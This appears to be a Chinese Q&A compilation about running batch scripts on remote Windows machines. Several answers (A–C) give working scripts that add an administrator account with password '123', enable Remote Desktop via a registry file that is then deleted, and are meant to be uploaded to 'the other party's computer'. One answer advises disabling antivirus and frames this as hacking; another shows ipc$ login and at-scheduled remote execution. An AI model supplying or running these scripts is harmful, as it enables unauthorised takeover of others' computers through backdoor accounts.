远程执行bat脚本
A. 远程桌面打开命令BAT
@echo off
REG ADD " Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
net user xp 123 /add
net localgroup administrators xp /add
这批处理可以开启远程。用用户xp,密码123进行远程登陆管理，不过XP不支持多用户登陆。你这样会先让他们注销，或者用他们正在使用的帐号登陆，这样才不会影响他们正在进行的进程，你不关掉他的进程，等下他再登陆，又回来了。
XP多用户登陆补丁软件见附件
B. 开启远程访问服务如何用bat实现
呵呵，这个可以使用注册表实现哦，一样的效果，所以就用bat操作注册表就行了，最后再转为vbs文件后台执行，或者用工具！
开启3389远程桌面的 bat文件如下：
rem //fin.bat,open 3389 port
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
测试的时候把杀毒软件关了！
剩下的我就不说了哈，如果你还要其它的问题 就到我空间给我留言。
最后说一下，3389已经不怎么管用了，首先考虑到网络的因素，会很卡，其次任何一种防御软件都会随时监控的，所以是不容易成功的！还有很多因素的！
但是别灰心，正邪都有自己的强势！相辅相成！
所以你如果想要成为一名黑客或者计算机高手，好好学编程哦！
C. 远程桌面打开命令BAT
连接：net
use
\\IP地址\ipc$
密码
/user:用户名断开：net
use
\\IP地址1\ipc$
/delete或telnet
IP地址 在输入帐号密码
用软件会比较方便一点
可以的。把以下内容保存成一个批处理，传到对方计算机里，再运行就可以了；当然你直接输也没问题。（注：限Win2003/XP）
echo
Windows
Registry
Editor
Version
5.00>>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo
"fDenyTSConnections"=dword:00000000>>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo
"PortNumber"=dword:00000d3d>>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo
"PortNumber"=dword:00000d3d>>3389.reg
regedit
/s
3389.reg
del
3389.reg
这是使用注册表的方法，其实注册表是个很有用的工具，好好利用一下吧！呵呵
D. 如何用批处理登录远程计算机上，执行另一个批处理文件
用net use命令连接ipc$,需要管理员用户和密码。
net user \192.168.1.10/ipc$ "password" /user:administrator；
然后用at命令远程执行。
at \192.168.1.10 18:00 "d: emote.cmd"；
18:00表示时间，下午6点.at \ip 是用来给远程电脑在指定的时间运行某个任务用的；
at \ip hh:mm “程序路径和参数”；
比方说17:00分，用管理员账户admin 密码:123456连接到192.168.0.1，要让他运行d盘下的remote.cmd你就可以这样写：
at \192.168.0.1 17:01 "d: emote.cmd"
这样，remote.cmd在一分钟内就会被执行了。
(4)远程执行bat脚本扩展阅读：
远程的计算机服务需要使用远程控制软件，远程控制软件一般分客户端程序（Client）和服务器端程序（服务器）两部分，通常将客户端程序安装到主控端的电脑上，将服务器端程序安装到被控端的电脑上。
使用时客户端程序向被控端电脑中的服务器端程序发出信号，建立一个特殊的远程服务，然后通过这个远程服务，使用各种远程控制功能发送远程控制命令，控制被控端电脑中的各种应用程序运行。
E. powershell 远程执行bat脚本，去启动一个应用，如何让应用一直运行，powershell能正常退出
start “.\4511_start.bat"
这样执行就会以新窗口运行bat脚本，而不再占用powershell
F. 局域网内2台电脑，如何在局域网的另外一台电脑上执行bat的批处理命令。
当然不行了，你在B上执行A的bat，等于是读取了A的bat，把此bat缓存到A上并运行的，并不是B让A运行了bat。
你只能远程登录A机器的权限，控制A才能使用A上的bat。
你可以把A的远程协助打开，从B对A进行远程控制，打开bat文件！